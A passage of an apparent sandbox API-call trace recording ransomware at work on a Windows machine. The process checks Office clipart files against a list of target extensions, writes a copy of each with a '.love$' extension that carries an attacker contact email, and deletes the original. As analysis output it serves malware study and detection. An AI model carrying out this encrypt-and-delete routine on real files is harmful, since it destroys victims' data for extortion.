office\\root\\clipart\\pub60cor\\fd00090_.wmf")) returned 1 [0247.657] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00090_.WMF") returned 68 [0247.657] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00090_.WMF") returned 68 [0247.657] lstrlenW (lpString=".doc") returned 4 [0247.657] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0247.657] lstrlenW (lpString=".docx") returned 5 [0247.657] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0247.657] lstrlenW (lpString=".pdf") returned 4 [0247.657] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0247.657] lstrlenW (lpString=".xls") returned 4 [0247.657] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0247.657] lstrlenW (lpString=".xlsx") returned 5 [0247.657] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0247.657] lstrlenW (lpString=".ppt") returned 4 [0247.657] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0247.657] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00090_.WMF") returned 68 [0247.657] lstrlenW (lpString=".zip") returned 4 [0247.657] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0247.657] lstrlenW (lpString=".rar") returned 4 [0247.657] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0247.658] lstrlenW (lpString=".bz2") returned 4 [0247.658] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0247.658] lstrlenW (lpString=".7z") returned 3 [0247.658] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0247.658] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00090_.WMF") returned 68 [0247.658] lstrlenW (lpString=".dbf") returned 4 [0247.658] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0247.658] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00090_.WMF") returned 68 [0247.658] lstrlenW (lpString=".1cd") returned 4 [0247.658] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0247.658] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00090_.WMF") returned 68 [0247.658] lstrlenW (lpString=".jpg") returned 4 [0247.658] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0247.658] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00090_.WMF") returned 68 [0247.658] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00090_.WMF") returned 68 [0247.658] lstrlenW (lpString=".doc") returned 4 [0247.658] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0247.658] lstrlenW (lpString=".docx") returned 5 [0247.658] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0247.658] lstrlenW (lpString=".pdf") returned 4 [0247.658] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0247.658] lstrlenW (lpString=".xls") returned 4 [0247.658] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0247.658] lstrlenW (lpString=".xlsx") returned 5 [0247.658] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0247.658] lstrlenW (lpString=".ppt") returned 4 [0247.658] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0247.658] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00090_.WMF") returned 68 [0247.658] lstrlenW (lpString=".zip") returned 4 [0247.658] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0247.658] lstrlenW (lpString=".rar") returned 4 [0247.658] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0247.659] lstrlenW (lpString=".bz2") returned 4 [0247.659] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0247.659] lstrlenW (lpString=".7z") returned 3 [0247.659] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0247.659] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00090_.WMF") returned 68 [0247.659] lstrlenW (lpString=".dbf") returned 4 [0247.659] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0247.659] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00090_.WMF") returned 68 [0247.659] lstrlenW (lpString=".1cd") returned 4 [0247.659] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0247.659] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00090_.WMF") returned 68 [0247.659] lstrlenW (lpString=".jpg") returned 4 [0247.659] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0247.659] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0247.659] lstrlenW (lpString="FD00336_.WMF") returned 12 [0247.659] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00336_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00336_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ec [0248.436] GetFileSizeEx (in: hFile=0x4ec, lpFileSize=0x298ff14 | out: lpFileSize=0x298ff14*=6068) returned 1 [0248.437] CloseHandle (hObject=0x4ec) returned 1 [0248.437] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00336_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00336_.wmf")) returned 0x220 [0248.634] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00336_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00336_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0249.094] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00336_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00336_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0249.095] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0249.095] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0249.095] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00336_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00336_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0249.096] GetLastError () returned 0x0 [0249.096] ReadFile (in: hFile=0x528, lpBuffer=0x3b98020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x298fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesRead=0x298fecc*=0x17b4, lpOverlapped=0x0) returned 1 [0249.152] WriteFile (in: hFile=0x54c, lpBuffer=0x3b98020*, nNumberOfBytesToWrite=0x17c0, lpNumberOfBytesWritten=0x298fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesWritten=0x298fc94*=0x17c0, lpOverlapped=0x0) returned 1 [0249.153] ReadFile (in: hFile=0x528, lpBuffer=0x3b98020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x298fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesRead=0x298fecc*=0x0, lpOverlapped=0x0) returned 1 [0249.153] WriteFile (in: hFile=0x54c, lpBuffer=0x3b98020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x298fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesWritten=0x298fc94*=0xec, lpOverlapped=0x0) returned 1 [0249.153] SetEndOfFile (hFile=0x54c) returned 1 [0249.153] CloseHandle (hObject=0x54c) returned 1 [0249.153] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0249.153] SetEndOfFile (hFile=0x528) returned 1 [0249.156] CloseHandle (hObject=0x528) returned 1 [0249.156] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00336_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0249.518] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00336_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00336_.wmf")) returned 1 [0250.380] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00336_.WMF") returned 68 [0250.380] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00336_.WMF") returned 68 [0250.380] lstrlenW (lpString=".doc") returned 4 [0250.380] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0250.380] lstrlenW (lpString=".docx") returned 5 [0250.380] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0250.380] lstrlenW (lpString=".pdf") returned 4 [0250.380] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0250.380] lstrlenW (lpString=".xls") returned 4 [0250.380] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0250.381] lstrlenW (lpString=".xlsx") returned 5 [0250.381] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0250.381] lstrlenW (lpString=".ppt") returned 4 [0250.381] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0250.381] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00336_.WMF") returned 68 [0250.381] lstrlenW (lpString=".zip") returned 4 [0250.381] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0250.381] lstrlenW (lpString=".rar") returned 4 [0250.381] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0250.381] lstrlenW (lpString=".bz2") returned 4 [0250.381] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0250.381] lstrlenW (lpString=".7z") returned 3 [0250.381] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0250.381] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00336_.WMF") returned 68 [0250.381] lstrlenW (lpString=".dbf") returned 4 [0250.381] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0250.381] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00336_.WMF") returned 68 [0250.381] lstrlenW (lpString=".1cd") returned 4 [0250.381] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0250.381] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00336_.WMF") returned 68 [0250.381] lstrlenW (lpString=".jpg") returned 4 [0250.381] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0250.381] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00336_.WMF") returned 68 [0250.381] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00336_.WMF") returned 68 [0250.381] lstrlenW (lpString=".doc") returned 4 [0250.381] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0250.381] lstrlenW (lpString=".docx") returned 5 [0250.381] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0250.382] lstrlenW (lpString=".pdf") returned 4 [0250.382] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0250.382] lstrlenW (lpString=".xls") returned 4 [0250.382] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0250.382] lstrlenW (lpString=".xlsx") returned 5 [0250.382] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0250.382] lstrlenW (lpString=".ppt") returned 4 [0250.382] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0250.382] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00336_.WMF") returned 68 [0250.382] lstrlenW (lpString=".zip") returned 4 [0250.382] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0250.382] lstrlenW (lpString=".rar") returned 4 [0250.382] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0250.382] lstrlenW (lpString=".bz2") returned 4 [0250.382] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0250.382] lstrlenW (lpString=".7z") returned 3 [0250.382] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0250.382] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00336_.WMF") returned 68 [0250.382] lstrlenW (lpString=".dbf") returned 4 [0250.382] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0250.382] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00336_.WMF") returned 68 [0250.382] lstrlenW (lpString=".1cd") returned 4 [0250.382] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0250.382] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00336_.WMF") returned 68 [0250.382] lstrlenW (lpString=".jpg") returned 4 [0250.382] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0250.383] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0250.383] lstrlenW (lpString="FD00779_.WMF") returned 12 [0250.383] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00779_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00779_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0250.577] GetFileSizeEx (in: hFile=0x544, lpFileSize=0x298ff14 | out: lpFileSize=0x298ff14*=9010) returned 1 [0250.577] CloseHandle (hObject=0x544) returned 1 [0250.577] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00779_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00779_.wmf")) returned 0x220 [0251.122] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00779_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00779_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0251.349] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00779_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00779_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0251.586] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0251.587] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0251.587] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00779_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00779_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c [0251.833] GetLastError () returned 0x0 [0251.833] ReadFile (in: hFile=0x534, lpBuffer=0x3b98020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x298fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesRead=0x298fecc*=0x2332, lpOverlapped=0x0) returned 1 [0251.835] WriteFile (in: hFile=0x53c, lpBuffer=0x3b98020*, nNumberOfBytesToWrite=0x2340, lpNumberOfBytesWritten=0x298fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesWritten=0x298fc94*=0x2340, lpOverlapped=0x0) returned 1 [0251.837] ReadFile (in: hFile=0x534, lpBuffer=0x3b98020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x298fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesRead=0x298fecc*=0x0, lpOverlapped=0x0) returned 1 [0251.837] WriteFile (in: hFile=0x53c, lpBuffer=0x3b98020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x298fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesWritten=0x298fc94*=0xec, lpOverlapped=0x0) returned 1 [0251.837] SetEndOfFile (hFile=0x53c) returned 1 [0251.837] CloseHandle (hObject=0x53c) returned 1 [0251.837] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0251.837] SetEndOfFile (hFile=0x534) returned 1 [0251.842] CloseHandle (hObject=0x534) returned 1 [0251.842] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00779_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0251.843] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00779_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00779_.wmf")) returned 1 [0251.844] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00779_.WMF") returned 68 [0251.844] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00779_.WMF") returned 68 [0251.844] lstrlenW (lpString=".doc") returned 4 [0251.844] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0251.844] lstrlenW (lpString=".docx") returned 5 [0251.844] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0251.844] lstrlenW (lpString=".pdf") returned 4 [0251.844] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0251.844] lstrlenW (lpString=".xls") returned 4 [0251.844] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0251.844] lstrlenW (lpString=".xlsx") returned 5 [0251.844] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0251.844] lstrlenW (lpString=".ppt") returned 4 [0251.844] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0251.844] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00779_.WMF") returned 68 [0251.844] lstrlenW (lpString=".zip") returned 4 [0251.844] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0251.844] lstrlenW (lpString=".rar") returned 4 [0251.844] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0251.844] lstrlenW (lpString=".bz2") returned 4 [0251.844] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0251.844] lstrlenW (lpString=".7z") returned 3 [0251.845] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0251.845] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00779_.WMF") returned 68 [0251.845] lstrlenW (lpString=".dbf") returned 4 [0251.845] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0251.845] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00779_.WMF") returned 68 [0251.845] lstrlenW (lpString=".1cd") returned 4 [0251.845] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0251.845] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00779_.WMF") returned 68 [0251.845] lstrlenW (lpString=".jpg") returned 4 [0251.845] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0251.845] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00779_.WMF") returned 68 [0251.845] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00779_.WMF") returned 68 [0251.845] lstrlenW (lpString=".doc") returned 4 [0251.845] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0251.845] lstrlenW (lpString=".docx") returned 5 [0251.845] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0251.845] lstrlenW (lpString=".pdf") returned 4 [0251.845] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0251.845] lstrlenW (lpString=".xls") returned 4 [0251.845] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0251.845] lstrlenW (lpString=".xlsx") returned 5 [0251.845] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0251.845] lstrlenW (lpString=".ppt") returned 4 [0251.845] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0251.845] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00779_.WMF") returned 68 [0251.845] lstrlenW (lpString=".zip") returned 4 [0251.845] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0251.846] lstrlenW (lpString=".rar") returned 4 [0251.846] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0251.846] lstrlenW (lpString=".bz2") returned 4 [0251.846] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0251.846] lstrlenW (lpString=".7z") returned 3 [0251.846] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0251.846] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00779_.WMF") returned 68 [0251.846] lstrlenW (lpString=".dbf") returned 4 [0251.846] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0251.846] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00779_.WMF") returned 68 [0251.846] lstrlenW (lpString=".1cd") returned 4 [0251.846] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0251.846] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00779_.WMF") returned 68 [0251.846] lstrlenW (lpString=".jpg") returned 4 [0251.846] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0251.846] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0251.846] lstrlenW (lpString="FD01176_.WMF") returned 12 [0251.846] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01176_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01176_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0251.848] GetFileSizeEx (in: hFile=0x534, lpFileSize=0x298ff14 | out: lpFileSize=0x298ff14*=4984) returned 1 [0251.848] CloseHandle (hObject=0x534) returned 1 [0251.848] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01176_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01176_.wmf")) returned 0x220 [0251.848] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01176_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01176_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0251.848] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01176_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01176_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0251.849] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0251.849] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0251.849] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01176_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01176_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c [0251.850] GetLastError () returned 0x0 [0251.850] ReadFile (in: hFile=0x534, lpBuffer=0x3b98020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x298fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesRead=0x298fecc*=0x1378, lpOverlapped=0x0) returned 1 [0251.852] WriteFile (in: hFile=0x53c, lpBuffer=0x3b98020*, nNumberOfBytesToWrite=0x1380, lpNumberOfBytesWritten=0x298fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesWritten=0x298fc94*=0x1380, lpOverlapped=0x0) returned 1 [0251.854] ReadFile (in: hFile=0x534, lpBuffer=0x3b98020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x298fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesRead=0x298fecc*=0x0, lpOverlapped=0x0) returned 1 [0251.854] WriteFile (in: hFile=0x53c, lpBuffer=0x3b98020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x298fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesWritten=0x298fc94*=0xec, lpOverlapped=0x0) returned 1 [0251.854] SetEndOfFile (hFile=0x53c) returned 1 [0251.854] CloseHandle (hObject=0x53c) returned 1 [0251.854] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0251.854] SetEndOfFile (hFile=0x534) returned 1 [0251.858] CloseHandle (hObject=0x534) returned 1 [0251.858] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01176_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0251.858] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01176_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01176_.wmf")) returned 1 [0251.859] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01176_.WMF") returned 68 [0251.859] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01176_.WMF") returned 68 [0251.860] lstrlenW (lpString=".doc") returned 4 [0251.860] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0251.860] lstrlenW (lpString=".docx") returned 5 [0251.860] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0251.860] lstrlenW (lpString=".pdf") returned 4 [0251.860] 